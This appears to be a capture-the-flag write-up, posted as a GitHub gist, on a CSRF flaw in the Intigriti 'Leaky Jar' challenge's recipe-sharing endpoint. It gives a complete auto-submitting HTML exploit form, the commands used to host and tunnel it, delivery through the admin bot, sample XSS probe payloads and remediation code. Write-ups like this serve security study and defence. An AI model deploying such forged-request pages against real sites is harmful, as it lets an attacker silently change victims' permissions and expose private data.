Skip to content

Instantly share code, notes, and snippets.

@zeinitsu03
Last active June 30, 2026 09:51
Show Gist options
  • Select an option

  • Save zeinitsu03/9973c703197753411462085de472c666 to your computer and use it in GitHub Desktop.

Select an option

Save zeinitsu03/9973c703197753411462085de472c666 to your computer and use it in GitHub Desktop.
CSRF to Persistent Admin Vault Access

Leaky Jar: CSRF Grants Persistent Access to the Master Baker’s Private Recipe Box

Challenge: Intigriti Leaky Jar
Researcher: zeinitsu12
Tested browser: Current Google Chrome
Attacker account: iamtester
Vulnerability: Cross-Site Request Forgery — CWE-352
Affected endpoint: POST /share


PROOF OF CONCEPT

The authenticated recipe-box sharing endpoint does not require an anti-CSRF token and accepts requests originating from an unrelated website.

I created an external page containing an auto-submitting form:

POST /share HTTP/1.1
Host: leakyjar.intigriti.io
Content-Type: application/x-www-form-urlencoded

username=iamtester

I then submitted the page to the Master Baker using the challenge’s Report a recipe feature.

When the Master Baker’s browser visited my page, Chrome attached the authenticated Master Baker session to the forged request. The application consequently shared the Master Baker’s private recipe box with my account.

After refreshing my vault, I could access:

admin's recipe box

This revealed the protected flag:

INTIGRITI{019ef404-1e44-7748-bdcf-ca7b12dbfee0}

The attack requires only one victim visit. It does not require stolen credentials, cookie access, self-XSS, or a Man-in-the-Middle position.


Finding Summary

Field Value
Vulnerability Cross-Site Request Forgery
CWE CWE-352
Asset https://leakyjar.intigriti.io
Vulnerable endpoint POST /share
Attacker requirement One normal Leaky Jar account
Victim Authenticated Master Baker
Victim interaction One visit to an attacker-controlled URL
Browser Current Google Chrome
Confidentiality impact Private administrator recipes disclosed
Integrity impact Sharing permissions modified
Persistence Yes
Self-XSS required No
Man-in-the-Middle required No

Suggested CVSS v4.0 vector:

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

I would classify the issue as High, rather than Critical, because it provides persistent access to private administrator data but does not result in administrator account takeover or arbitrary code execution.


Where I Started

I registered a normal account named:

iamtester

I initially looked at the public recipe and review functionality because it accepted user-controlled text. Existing payloads such as <script> and <img onerror> were rendered as escaped text, and the public recipe page did not expose a useful client-side script sink.

Rather than force an XSS theory that the evidence did not support, I moved to the authenticated functionality.

Inside My recipe box, I found the following sharing feature:

Share my recipe box
Baker to share with: [username]

The sharing action was interesting because it:

  1. Modified access to private data.
  2. Required only a username.
  3. Used a normal form POST.
  4. Did not expose a visible anti-CSRF token.
Attacker_vault_before_exploitation

The screenshot above is not intended to prove a completely clean “before” state. Its purpose is to document the sensitive sharing action that led me to investigate CSRF.


My Hypothesis

The legitimate form appeared to submit a request equivalent to:

POST /share HTTP/1.1
Host: leakyjar.intigriti.io
Content-Type: application/x-www-form-urlencoded

username=TARGET_USERNAME

I wanted to determine whether the application distinguished between:

  • A request intentionally submitted through Leaky Jar
  • The same request submitted from an unrelated website

My hypothesis was:

If the Master Baker visits an external page containing the same form, Chrome may attach the authenticated Master Baker session. If /share checks only the session cookie and username, it will share the admin vault without verifying the Master Baker’s intent.

I used my own username, iamtester, as the recipient.


Minimal Proof of Concept

I created a file called:

exploit.html

with the following content:

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Cookie Recipe</title>
</head>
<body>
    <form id="csrf"
          method="POST"
          action="https://leakyjar.intigriti.io/share">

        <input type="hidden"
               name="username"
               value="iamtester">
    </form>

    <script>
        document.getElementById("csrf").submit();
    </script>
</body>
</html>
Csrf_payload

Every part of the payload has a specific purpose:

method="POST"

matches the method used by the legitimate sharing form.

action="https://leakyjar.intigriti.io/share"

targets the real authenticated sharing endpoint.

name="username" value="iamtester"

instructs the server to share the currently authenticated user’s recipe box with my account.

document.getElementById("csrf").submit();

submits the form immediately after the victim loads the page.

The JavaScript executes only on my own hosting origin. It does not execute inside leakyjar.intigriti.io, access the victim’s cookie, or read the response.


Hosting the Payload

I used a local HTTP server and Cloudflare Tunnel because it provided a quick public HTTPS URL.

First, I served the Desktop directory containing exploit.html:

cd C:\Users\Varad\Desktop
python -m http.server 8000

The payload was then locally available at:

http://127.0.0.1:8000/exploit.html

In a second terminal, I exposed the local server:

C:\Users\Varad\Desktop\cloudflared-windows-amd64.exe tunnel --url http://127.0.0.1:8000

Cloudflare generated a temporary public URL:

https://journal-communicate-useful-expires.trycloudflare.com

The complete payload URL was:

https://journal-communicate-useful-expires.trycloudflare.com/exploit.html
Public_exploit_url

The screenshot includes some failed setup attempts:

  • The server was initially started from the wrong directory, resulting in 404 File not found.
  • I initially used the wrong cloudflared.exe filename.
  • After correcting both paths, the server returned:
GET /exploit.html HTTP/1.1
200 OK

These details matter because a working tunnel alone is not sufficient. The final public path must return the actual HTML payload rather than a 404 response.

Alternative Hosting Methods

Cloudflare Tunnel is not part of the vulnerability. It was only the delivery mechanism I chose.

The same payload can be served through:

  • GitHub Pages
  • Netlify
  • Vercel
  • An attacker-controlled HTTPS domain
  • A webhook service that supports a custom 200 text/html response

The necessary condition is that the victim’s browser receives the payload as executable HTML.

If the service returns it as text/plain, the browser displays the source instead of submitting the form.


Delivering the Payload

While authenticated as iamtester, I opened:

https://leakyjar.intigriti.io/submit

I entered the public payload URL into the Report a recipe form:

https://journal-communicate-useful-expires.trycloudflare.com/exploit.html
Malicious_url_submission

I then clicked:

Send to the Master Baker

The application returned:

Sent — the Master Baker will check it shortly.
submission_confirmed

From the victim’s perspective, visiting the supplied URL is the only required interaction.

No additional click is necessary because the form submits immediately.


What Happened in the Master Baker’s Browser

When the Master Baker opened the URL, Chrome loaded exploit.html from the attacker-controlled HTTPS origin.

The page then submitted:

POST https://leakyjar.intigriti.io/share

with this body:

username=iamtester

The effective request can be represented as:

POST /share HTTP/1.1
Host: leakyjar.intigriti.io
Origin: https://journal-communicate-useful-expires.trycloudflare.com
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Site: cross-site
Cookie: session=[MASTER_BAKER_SESSION]

username=iamtester

The session value is shown as a placeholder because the exploit never needs to know or read it.

Chrome attaches the session automatically.

The application processes the request as if the Master Baker intentionally entered iamtester into the legitimate sharing form.


Confirming the Authorization Change

After waiting for the Master Baker to visit the URL, I returned to:

https://leakyjar.intigriti.io/vault

and refreshed the page.

A new entry appeared under Shared with you:

admin's recipe box
Admin_receipie

This confirmed that the forged request had caused a persistent server-side authorization change.

The result was not limited to the initial browser navigation. I could return to my account later and access the admin’s vault through the normal application interface.


Retrieving the Protected Flag

I clicked View beside:

admin's recipe box

The private recipe box contained:

House Sugar Cookies
Brown Butter Base
Master Baker's Secret Recipe

The final recipe disclosed:

INTIGRITI{019ef404-1e44-7748-bdcf-ca7b12dbfee0}
flag_discovered

This proved direct confidentiality impact rather than only demonstrating that a cross-site request could be sent.


Technical Root Cause

The browser behaved as expected. The vulnerability exists because the server treated an authenticated request as an intentional request.

Those are not equivalent security properties.

Three conditions made exploitation possible.

1. No Anti-CSRF Token

The complete sharing action could be reproduced using only:

username=iamtester

There was no unpredictable value tied to the Master Baker’s authenticated session.

A correct anti-CSRF design would require something similar to:

POST /share HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=iamtester&csrf_token=UNPREDICTABLE_SESSION_VALUE

An external page would not know the correct token.

2. No Effective Origin Validation

The server accepted the state-changing request even though it originated from:

https://journal-communicate-useful-expires.trycloudflare.com

rather than:

https://leakyjar.intigriti.io

This proves that the endpoint did not enforce the expected application origin before changing sharing permissions.

3. The Session Cookie Was Available Cross-Site

The session was issued with attributes equivalent to:

Set-Cookie: session=[REDACTED]; Secure; HttpOnly; Path=/; SameSite=None

In current Chrome:

  • SameSite=None permits the cookie to accompany cross-site requests.
  • Secure requires HTTPS.
  • Both the payload and target used HTTPS.

As a result, Chrome attached the Master Baker’s authenticated session to the cross-site POST.


Why CORS Did Not Prevent the Attack

This exploit does not require reading the response.

The form uses:

Content-Type: application/x-www-form-urlencoded

A standard HTML form can send this type of cross-origin request without requiring the attacker to obtain CORS read permission.

The Same-Origin Policy may prevent the attacker-controlled page from inspecting the response, but the state change has already occurred.

For CSRF, sending the request is sufficient.


Why HttpOnly Did Not Prevent the Attack

HttpOnly prevents scripts from reading the session cookie through:

document.cookie

The exploit never attempts to do this.

The browser attaches the cookie automatically when sending the request. Therefore, the session can remain completely hidden from the attacker while still being used to authorize the forged action.

This is why the issue is CSRF rather than session theft.


Why Secure Did Not Prevent the Attack

Secure prevents the cookie from being sent over unencrypted HTTP.

The attacker page used HTTPS:

https://journal-communicate-useful-expires.trycloudflare.com

and the destination also used HTTPS:

https://leakyjar.intigriti.io

The Secure requirement was therefore satisfied.


Why This Is Not Self-XSS

The payload is hosted and executed on an attacker-controlled origin.

The victim does not:

  • Open developer tools
  • Paste code into the console
  • Modify the page
  • Execute a bookmarklet
  • Enter a payload themselves

The Master Baker only visits a URL.

The vulnerability is the target application accepting an authenticated cross-site state-changing request.


Why This Is Not a Man-in-the-Middle Attack

The exploit does not intercept or modify network traffic.

Both origins communicate over HTTPS. The attacker does not need to control:

  • The victim’s network
  • DNS resolution
  • A proxy
  • A TLS certificate for the target
  • Any traffic between the victim and Leaky Jar

The attack works entirely through normal browser request behavior.


What I Checked and Ruled Out

Stored XSS Through Reviews

The public recipe page contained user-controlled review content. However, HTML payloads were rendered as escaped text rather than executable elements.

Examples appeared as literal strings:

<script>alert(1)</script>

and:

<img src=x onerror=alert(1)>

The public recipe page also did not expose a useful client-side JavaScript sink.

I therefore stopped pursuing the XSS path rather than reporting an unproven execution theory.

Cookie Theft

The session cookie was HttpOnly, and cookie theft was unnecessary.

The CSRF exploit worked without knowing the cookie’s value.

Reading the Cross-Origin Response

The attacker page did not need to read the response from /share.

The important effect—the permission change—occurred server-side before the browser returned to the attacker’s workflow.

Hosting-Specific Behavior

The issue did not depend on Cloudflare Tunnel.

The relevant variables were:

Publicly reachable page
+ executable HTML response
+ authenticated Master Baker visit
+ cross-site POST accepted by /share

Exploit Preconditions and Boundaries

The following conditions are required:

  1. The attacker must have a valid Leaky Jar username to receive access.
  2. The Master Baker must be authenticated when the payload is opened.
  3. The payload must be served as executable HTML.
  4. The public URL must point to the actual payload rather than a missing file.
  5. The target must continue accepting cross-site requests without a valid anti-CSRF token.

The exploit would fail if any of the following controls were introduced:

  • A valid session-bound anti-CSRF token
  • Strict Origin validation
  • A suitable SameSite cookie restriction
  • Reauthentication or confirmation before sharing
  • Rejection of cross-site state-changing requests

Impact

The forged request modified the Master Baker’s stored sharing permissions and granted iamtester persistent access to private administrator data.

I was able to:

  • Force the Master Baker to share a private vault with my account
  • Retain access after the original bot visit finished
  • Open administrator-only recipes through the legitimate application interface
  • Recover the protected challenge flag

The impact affects two security properties:

Private administrator recipes became accessible to an unauthorized account.

  1. The exposed data included:
Master Baker's Secret Recipe

and the challenge flag.

  1. The Master Baker’s server-side sharing configuration was modified without intentional approval.

Recommended Remediation

1. Add Session-Bound Anti-CSRF Tokens

Every state-changing sharing request should require a unique, unpredictable token tied to the authenticated session.

Example form:

<form method="POST" action="/share">
    <input type="hidden"
           name="csrf_token"
           value="{{ session.csrf_token }}">

    <input type="text"
           name="username"
           required>

    <button type="submit">
        Share box
    </button>
</form>

The server must verify the token before modifying permissions:

def share_recipe_box(request):
    if not constant_time_equals(
        request.form["csrf_token"],
        session["csrf_token"]
    ):
        abort(403)

    share_with(request.form["username"])

If the application uses Flask, a maintained CSRF implementation such as Flask-WTF can provide global protection rather than relying on manual checks for individual endpoints.

2. Validate the Request Origin

For state-changing requests, verify:

Origin: https://leakyjar.intigriti.io

If Origin is absent, use a strict Referer fallback.

Requests from other origins should be rejected:

HTTP/1.1 403 Forbidden

Origin validation should be defense in depth, not the only CSRF control.

3. Review the Session Cookie Policy

If cross-site authenticated requests are unnecessary, configure:

SameSite=Lax

or:

SameSite=Strict

Continue using:

Secure
HttpOnly

A possible Flask configuration would be:

SESSION_COOKIE_SECURE = True
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SAMESITE = "Lax"

Cookie attributes should supplement anti-CSRF tokens rather than replace them.

4. Confirm Sensitive Sharing Changes

Before granting access to a private recipe box, display the exact recipient:

You are about to share your private recipe box with:

iamtester

Then require explicit confirmation.

For particularly sensitive resources, the application could also require password re-entry.


Expected Secure Behaviour

A cross-site request without a valid CSRF token should receive:

HTTP/1.1 403 Forbidden
Content-Type: application/json

{
  "error": "invalid_csrf_token"
}

No sharing relationship should be created, and the attacker’s vault should remain unchanged.


Final Observation

The session cookie was protected from theft.

It was not protected from being used by the browser on the attacker’s behalf.

That distinction is the core of this vulnerability: the application successfully determined which user was authenticated, but never verified whether that user intended to share the vault.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment